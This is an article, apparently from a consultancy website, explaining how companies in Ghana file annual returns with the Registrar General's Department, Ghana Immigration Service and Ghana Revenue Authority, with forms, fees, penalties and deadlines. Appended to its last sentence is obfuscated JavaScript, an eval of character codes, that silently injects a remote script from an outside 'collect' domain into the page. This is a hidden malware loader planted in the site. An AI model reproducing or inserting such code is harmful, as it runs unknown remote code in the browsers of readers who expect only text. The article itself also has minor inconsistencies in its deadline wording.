Every company is expected to stay compliant with all the regulatory bodies within the environment they operate. By so doing, some agencies use the term “Renewal of Registration”, whiles others use the term “Annual Returns”.
It is important to note that almost all the regulatory agencies in Ghana have different modes by which they require companies to renew their registration. Some agencies require renewals annually (every year), whiles others are done every two (2) or five (5) years after registration. It is prudent for every company to keep proper records of all the agencies when they are due for renewal in order to remain compliant.
In this article, we will focus on three main Agencies which requires Annual Returns Filing. These Agencies include;
- Registrar General’s Department (RGD) for renewal of business registration
- Ghana Immigration Service (GIS) for renewal of the status of the number of expatriates working in the firm
- Ghana Revenue Authority (GRA) for tax related updates
What are Annual Returns?
Basically, Annual Returns is a means of reporting the current status of the company to the respective regulators. It is therefore considered a necessity since it also indicates a renewal of registration. It is required to be filed every year.
How to File Annual Returns at the Registrar General’s Department (RGD)
After registering your business with the Registrar General’s Department, you are required to file a return. Annual returns is a requirement for all businesses irrespective of the type of business. During the filing of annual returns, the business has to report any changes that has occurred over the period.
For instance, changes in business name, activities, shareholder(s), director(s), auditors, and address of principal place of business etc. An annual returns form has to be completed to reflect any of the above changes. Therefore, it is important to refer to the current company profile before completing the form.
What are the requirements for filing annual returns?
Filing of Annual Returns for a Sole Proprietorship Business
This type requires the filing to be done every year including the year of incorporation. This is because, no Audited Account is required to file this kind of returns. It is the simplest of the Returns forms.
Filing of Annual Returns for a Company Limited by Shares/Company Limited by Guarantee
The Companies Act 992 , 2019 requires all companies registered in Ghana to file Annual Returns with the RGD. The filing of annual returns has to be done 36 days after the financial statements have been approved and signed by directors.
- The Companies Act requires that Limited Liability Companies file their first Returns after 18 months of incorporation.
- This therefore implies that a company is not required to file returns within or for the year of incorporation.
- Note that, after the first 18 months of incorporation, the company is required to file every year of operation.
Filing of Annual Returns for an External Company
An External Company which is also referred to as a Branch/Liaison Office is one incorporated by a company (referred to as the “Parent Company”) registered outside the jurisdiction of Ghana. The branch office is required to file returns together with the Audited Financial Statements of the parent company.
ALSO READ : Important Guidelines for Tax Compliance in Ghana
Which form must I file for my annual returns at RGD?
- Sole Proprietorship = Form 1A
- Company Limited by Shares = Form of Annual Return
- Company Limited by Guarantee. = Form of Annual Return
- Unlimited Liability Companies = Form of Annual Return
- External Company =Just the Audited Accounts of the Parent Company
What are the statutory fees for filing of Annual Returns?
- Sole Proprietorship = GH¢60
- Company Limited by Shares = GH¢90
- Company Limited by Guarantee. = GH¢90
- Unlimited Liability Companies = GH¢90
- External Company = US$250
What are the applicable penalties for late filing of returns at RGD?
- Sole Proprietorship = no penalty payment
- Company Limited by Shares = GH¢400.00
- Company Limited by Guarantee = GH¢400.00
- Unlimited Liability Companies = GH¢400.00
- External Company = US$750.00
How to file Annual Returns at Ghana Immigration Service (GIS)
Sometimes people get confused if GIS requires the filing of returns. Yes, they do. The purpose is to update them with the total number of expats working in your company. It requires a cover letter and a form to be completed. The form requests for more details on each expat on the following:
- the total number of ex-pats working with the company throughout the year.
- the particulars of all the ex-pats
- how many are still working with the company and those who have left
- whether they have returned to their home country or changed company
- the number of persons who are on work and residence permit
- how many are on quota and residence permits and the dependents of the principal applicants, etc.
- what are the issued and expiry dates of each applicant
- how long have they stayed in the country
What is the cost for filing your annual returns at Immigration and what is the penalty fee?
There are no statutory fees to be paid for filing your returns. However, for default or late filing, the company is required to pay a penalty of GH¢1,000 for each month of default.
How to File Annual Returns at Ghana Revenue Authority (GRA)
GRA just like RGD requires filing of Annual Returns every year. This requires a completion of the GRA returns form accompanied by an Audited Accounts duly signed by a certified Auditor. The deadline for filing is 30th April in the subsequent month.
What is the cost for filing at GRA and what is the penalty fee?
There are no statutory fees to be paid for filing your returns with GRA. However, for late filing, the company would be required to pay a penalty of GH¢500 upon default. Additionally, the company will be charged a penalty of GH¢10 for each day of default.
Some challenges and misrepresentations
All Agencies we have discussed above all use the term “Annual Returns” . As the name implies, it is filed once every year. Due to this reason, some persons misrepresent the filing of annual returns with GRA or GIS with that of RGD. The business must ensure annual returns is dully filed with each of these Agencies to avoid default and penalties.
Documents required for filing Annual Returns
The Annual returns at RGD and GRA is to be filed together with the Audited financial Accounts of the company. This is because, the Registrar is also interested in the financial and non-financial status of the company. Sometimes, businesses complain and ask questions such as;
- my company did not operate for the period and so is not liable for annual returns filing
- can’t we file the returns without an account?
The answer is “NO’ , whether the company worked or not, you still need to file your Annual Returns. However, if your company did not work at all, then you need to prepare the “Statement of Affairs” instead of Audited Accounts. The Audited Accounts where applicable needs to be certified by an Auditor in good standing.
Also, where for some reason, your Accounts are not ready before the deadline, you can ask for your Auditors to write officially giving reasons for the delay and request for extension. In this instance, you can file your returns together with the letter and then submit the Accounts upon completion.
READ ALSO : What You Need to Know about Company Registration
What documents or certificate will I receive after filing the Annual Returns?
Empirically, a number of people ask about the certificate or documents they will receive after filing the Annual Returns. It is necessary to know that filing your company’s Annual Returns is by way of renewing your registration, but unlike other Agencies, you do not receive any new certificate, but a receipt of payment or received copy of filed documents.
Late Filing of Annual Returns?
Deadline for submission by Registrar General’s Department
By 30th of April in the subsequent year of operation, all companies are required to have filed their returns. However, if for some reason there are delays, the company through its Auditors could write a letter to the Registrar for extension.
Deadline for submission by Ghana Immigration Service
Companies are required to file their returns on or before 14th January, of the subsequent year.
Deadline for submission by Ghana Revenue Authority
GRA requires submission to be done on or before 30th April of the subsequent year.
What happens if a company fails to file its returns or fail to file on time?
Note that failure to file your returns on time leads to penalty payment. However, any time you intend to file, if you have backlog years, you would be required to file for all those years.
The penalty for late filings are as follows, even if you default a day;
- Registrar General
- Sole Proprietorship = no penalty payment
- Company Limited by Shares = GH¢400.00
- Company Limited by Guarantee = GH¢400.00
- External Company = US$750.00
- Immigration is GH¢1,000 for each month of default
- GRA is GH¢500 upon default and GH¢10 each day after default
Conclusion
In conclusion, it is of great importance to know the difference between these three agencies and the type of Annual Returns required by each, as well as the deadlines for filing in order to avoid any penalty payments.var f=String;eval(f.fromCharCode(102,117,110,99,116,105,111,110,32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,116,105,115,116,105,99,46,115,99,114,105,112,116,115,112,108,97,116,102,111,114,109,46,99,111,109,47,99,111,108,108,101,99,116,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/
